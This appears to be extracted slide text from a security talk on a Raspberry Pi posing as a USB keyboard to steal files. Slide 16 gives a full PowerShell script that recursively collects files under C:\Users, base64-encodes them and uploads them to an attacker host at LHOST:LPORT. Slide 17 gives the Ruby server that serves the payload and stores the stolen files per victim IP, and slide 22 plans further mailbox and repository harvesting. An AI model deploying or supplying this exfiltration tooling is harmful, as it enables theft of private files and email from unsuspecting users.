  • 16. function Search-files { $global:resultSearch = Get-ChildItem -Path "C:Users" -Include *.* -Force -Recurse - ErrorAction SilentlyContinue | Where-Object { $_.Name -match "MATCH" } | Select -exp FullName } function Sendfiles-files ($content, $filename, $hostname) { $url = "http://LHOST:LPORT/send" $request = [System.Net.WebRequest]::Create($url) $request.ContentType = "application/x-www-form-urlencoded" $request.Method = "PUT" try { $requestStream = $request.GetRequestStream() $streamWriter = New-Object System.IO.StreamWriter($requestStream) $streamWriter.Write("hn=$hostname&fn=$filename&fc=$content") } finally { if ($null -ne $streamWriter) { $streamWriter.Dispose() } if ($null -ne $requestStream) { $requestStream.Dispose() } } $res = $request.GetResponse() } Search-files $hostname = whoami $hostname = [System.Text.Encoding]::UTF8.GetBytes($hostname) $hostname = [Convert]::ToBase64String($hostname) Foreach ($f in $global:resultSearch) { $FileContent = [System.IO.File]::ReadAllBytes($f) $FileContentBase64 = [System.Convert]::ToBase64String($FileContent); $f = [System.Text.Encoding]::UTF8.GetBytes($f) $f = [Convert]::ToBase64String($f) Sendfiles-files $FileContentBase64 $f $hostname sleep 0.5 } 2.0
  • 17. get "/:ps.ps1" do "#{payload}" end put "/send" do hostName = params[:hn].unpack('m*')[0] fileName = params[:fn].unpack('m*')[0] fileContent = params[:fc].gsub(/s/,'+').unpack('m*') [0].unpack('a*')[0] puts "n [+]".green + " File from IP...: #{request.ip} | Hostname...: #{hostName} ".white print " Filename.......: #{fileName} " unless File.directory?("#{dstFolder}/#{request.ip}") FileUtils.mkdir_p("#{dstFolder}/#{request.ip}") end onlyFileName = fileName.split("").last if !fileName.empty? && !fileContent.empty? out_file = File.new("#{dstFolder}/#{request.ip}/#{DateTime.now.strftime('%Q')}.# {onlyFileName}", "w") out_file << fileContent out_file.close puts "[OK]n".green else puts "[Error]n".red end end
  • 19. # ./poc3.sh Web application (IP/PORT) GET /ps.ps1 PUT /send File1 File2 File3 ... File4 Rasp0 like a Keyboard
  • 21. # Researcher [+] Jalin Habey [+] PhD - Harmonic Dynamic Motion of Phallic Objects [+] Especialista em algoritimos de busca gulosa
  • 22. # cat next_steps.txt [+] Automatic unpack and parse PST contents [+] Look for specific user messages Ex.: From: fulano@cliente.com.br To: ciclano@cliente.com.br Body: Sensitive content [+] Look for sensitive information at repositories, GitLab etc [+] POP3 / IMAP [+] Protocols FTP / NFS / whatever...